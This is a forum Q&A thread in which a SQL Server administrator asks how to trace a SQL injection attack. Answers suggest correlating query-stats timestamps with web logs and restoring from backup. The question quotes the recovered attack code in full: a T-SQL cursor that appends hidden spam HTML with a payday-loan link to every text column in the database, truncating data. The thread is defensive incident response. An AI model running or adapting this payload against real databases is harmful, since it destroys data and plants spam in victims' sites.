1

I am running SQL server 2012 on windows azure VM (windows server 2012)

I suspected that some of my web appliactions are attacked via SQL injection,

So far i could not trace the relevant text with my app's logs or with SQL Profiler (found nothing), yet i have a high ammount of traffic so it was not easy to search it and the proccess might have been wrong.

Anyway, i used the following query :

select *
FROM sys.dm_exec_query_stats qs
CROSS APPLY sys.dm_exec_sql_text(qs.sql_handle) qt
where text like '%the_sql_injected_text%'

And did find the following :

set ansi_warnings off 
DECLARE @T VARCHAR(255),@C VARCHAR(255)

DECLARE Table_Cursor CURSOR FOR 
select 
    c.TABLE_NAME,c.COLUMN_NAME 
from INFORMATION_SCHEMA.columns c, 
INFORMATION_SCHEMA.tables t 
where c.DATA_TYPE in ('ntext','text') 
    and t.table_name=c.table_name 
    and t.table_type='BASE TABLE' 

OPEN Table_Cursor 

FETCH NEXT FROM Table_Cursor 
INTO @T,@C

WHILE(@@FETCH_STATUS=0) 
BEGIN 
    EXEC('UPDATE ['+@T+'] SET ['+@C+']=CONVERT(VARCHAR(8000),['+@C+'])+''</title><style>.
    ax1y{position:absolute;clip:rect(414px,auto,auto,414px);}</style><div class=ax1y>Payday lenders and asking <a href=http://paydayloansforus.com >payday max loans</a> be the amount you experience it.</div>'' ') 

    FETCH NEXT FROM Table_Cursor 
    INTO @T,@C 
END 

CLOSE Table_Cursor 
DEALLOCATE Table_Cursor

I am intersted in knowing more about the source of the query, is there any more information I can get from it ? How should I go on from here ?

The information I am after may be an IP address, a user name or anything else that can help me find the source of this attack.

  • 1
    Query stats just collect aggregates - for metrics about individual executions (username, ip, etc.) you'd have to catch this query in the act. A profiler trace (don't use profiler!) wouldn't add any information about this unless it ran long enough that the exploit happened again. Maybe it was a one-time thing - what do the other columns say, like exec count and last exec time? – Aaron Bertrand Sep 28 '14 at 12:16
  • I'd suggest getting the value of last_execution_time from sys.dm_exec_query_stats. Then see what correlates with this in your website logs. You may need to enable logging of the query string (cs-uri-query) if it isn't already on. Searching the web server logs for the text that was injected probably won't work, as you found. One reason is that it might be encoded as hexadecimal. – James L Sep 28 '14 at 14:13
  • Instead of trying to trace down occurrences of SQL injection, why don't you just prevent any possibility of that happening? – Thomas Stringer Sep 29 '14 at 1:09
1

First, do your have columns of data type TEXT or NTEXT in your database? If

select 
c.TABLE_NAME,c.COLUMN_NAME 
from INFORMATION_SCHEMA.columns c, 
INFORMATION_SCHEMA.tables t 
where c.DATA_TYPE in ('ntext','text') 
and t.table_name=c.table_name 
and t.table_type='BASE TABLE' 

returns any rows, you probably lost a lot of data during this attack, as the code truncates the existing values to 8000 characters. In that case you need to restore from a backup.

To answer your question, there is no direct way to get to that information from SQL Server. However, using the T-SQL code that was originally intended to be executed (the code that the above code was injected into), you should be able to identify the place in your app where the injection happened. From there you can look through the web site logs to find submissions to that particular page or form that took a long time or that submitted an unusual amount of characters. You can use the columns creation_time and last_execution_time in sys.dm_exec_query_stats to narrow down the time of the attack(s).

Important, once you have the place identified that allowed for the injection to happen, you need to close that gap immediately. You should also review the rest of the application to make sure that no other vulnerable spots lurk in your code. There is a little more information about what to look out for when injection-proofing your app here: http://sqlity.net/en/2547/sql-injection/

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.